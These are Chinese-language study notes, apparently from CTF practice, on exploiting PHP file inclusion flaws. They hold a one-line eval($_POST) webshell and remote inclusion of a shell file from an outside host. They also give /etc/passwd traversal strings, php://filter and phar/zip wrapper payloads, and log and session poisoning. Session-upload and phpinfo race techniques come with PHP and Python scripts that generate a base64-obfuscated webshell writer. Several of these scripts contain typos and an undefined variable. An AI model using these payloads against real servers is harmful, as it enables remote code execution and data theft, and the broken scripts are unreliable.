文件包含
1.原理
- 类似于C语言中的include,python中的import
index.php?page=aaaa&func=bbb
2.相关函数
- include():如果包含的文件不存在,报错后继续执行后面的代码
- include_once():在include的基础上限定只包含一个
- require():如果后面的文件不存在,报错后不执行后面的代码
- require_once():在require的基础上限定只包含一个
3.分类
- 远程文件包含
- 比较危险。默认不开启
[http|https|ftp]://www.bbb.com/shell.txt
- 如果后缀名写死,可使用?绕过
- 在包含文件后添加?a等字符就可以,不会造成影响,因为?后的字符被当做参数传递
- 本地文件包含
4.不限制文件
- 只要文件中包含PHP代码,就可以。
- 或者是
<script language='php'> @eval($_POST[‘cmd’]);</script>
- 或者是
- 文件可以为jpg、png、xxxx等
5.重点
找到可控文件
- 可以上传可控文件
- file=/etc/passwd
- file=…/…/…/etc/passwd
6.伪协议
file:// http:// ftp:// php:// (io流) zlib:// (压缩流) bzip:// zip:// data:// glob:// phar:// (PHP归档) ssh2:// rar:// ogg:// (音频流) expect://(交互式流)
- file=
zip://xxxx.zip#xxxx.php
- file=
phar://xxxx.zip/xxxx.php
- file=
php://filter/convert.base64-encode/resource=index.php
php://input/
(受限于allow_url_fopen)
7.具体场景——日志文件
- 把php代码放在日志里,然后去读取日志
8.具体场景——session
-
session文件默认放在/tmp下,PHP代码写到session里,读取session
-
这个参数在
php.ini
默认开启,需要手动置为Off ,如果不是Off ,就会在上传的过程中生成上传进度文件(该文件可控),它的存储路径可以在phpinfo获取到- PHPinfo中获取该问价路径:/var/lib/php5/sess_{your_php_session_id}
-
base64 中的==,可有可没有,在PHP中不重要,所以,可使用base64让字符消失(单个字母解释为空)
-
可以尝试多次base64解码(3次),消除字符
-
思路:因为上传过程中会生成进度文件,但是在上传结束后会删除进度文件,所以在这个极小的时间内,控制这个进度文件的内容(让其生成一句话木马),使用爆破模块一直上传(增加时间),使用爆破模块通过文件包含访问这个进度文件(知道文件的位置),使其在极短时间内生成一句话。(控制进度文件的方法,可以使用PHP://filter//这个伪协议,通过多次base64解码,去掉不想要的内容)
-
#构造base64解密的密文,去掉不想要的内容 <?php $perfix = 'upload_progress_' ; $word ="abcdefghijkLmnopqrstuvwxy zABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/"; for($i=0;$i<64;$i++){ $data1 = $perfix.substr($word,$i,1); for ($j=0; $j < 64; $j++) { $data = $data1.substr($word,$j,1); #echo $data $result = preg_ replace('|[^a-z0-9A-Z+/]|s','', base64_decode($data)); if (strlen($result) == 4) { #echo $data."\n" ; if(preg_replace('|[^a-z0-9A-Z+/]|s','',base64_decode($result)) == null) {echo $data."\n" ;} } } } ?>
-
#进度文件的内容,使其不包含“=”等其他东西 import string from random import sample, randint from base64 import b64encode payload = "@<?php file_put_contents( '/tmp/web', '@<?php eval('$_POST[1])?>');?>" while 1 : junk =''.join(sample(string.ascii_letters,randint(8,16)) x = b64encode( payload + junk) XX = b64encode( b64encode( payload + junk)) XXX = b64encode ( b64encode ( b64encode(payload + junk))) if '=' not in X and '=' not in XX and '=' not in XXX: print XXX brea k
9.具体场景——session
-
知道文件的位置,并包含那个session文件,
-
php生成的session文件默认放在/tmp目录下(或者在PHPinfo的页面中找到),结构为
sess_{session_id}
-
session可控的场景(部分注册的题目)
-
在哪个页面打开PHPinfo,就会显示当前页的session和一些设置
-
文件包含:
?file=phpinfo.php 或 ?file=../../../../tmp/sess_{sessin_id} 或 ?file=php://filter/convert.base64-encode/resource=index.php
10.具体场景——远古魔法
-
%00截断:需要magic quotes. gpc=off , PHP小于5.3.4有效(?)
-
路径长度截断:
- ./和. (php版本小于5.2.8(?)可以成功, linux需要文件名长于4096 , windows需要长于256)
11.具体场景——PHPinfo
- 向服务器上任意 php 文件以 form-data 方式提交请求上传数据时,会生成临时文件,通过phpinfo来获取临时文件的路径以及名称,然后临时文件在极短时间被删除的时候,需要竞争时间包含临时文件拿到webshell
- 对任何的PHP文件,去上传文件,然后服务器生成一个临时文件,服务器对临时进行判断,符合就留下,不符合就删除,在此之间会有一段时间,利用这段检测的时间(上传成功后,检测删除前),访问上传的文件,生成一句话
12.具体环境——自包含导致爆栈
- /a. php?include=a. php
- 这样a.php会将它本身包含进来,而被包含进来的a.php再次尝试处理url的包含请求时,再次将自己包含进来,形成了无穷递归,递归会导致爆栈
- 爆栈后,不会去执行删除的那个命令(语句、功能),所以就跳过了文件上传后检测删除的那个步骤
- 此时 通过PHP规则进行爆破,得到上传的文件的临时文件名
- 然后就能包含了
13.具体场景——PHP崩溃
- 本地文件包含漏洞可以让php包含自身从而导致死循环,然后php就会崩溃,如果请求中同时存在一个上传文件的请求的话,这个文件就会被保留
include.php?file= php://filter/string.strip _tags/resource=/etc/passwd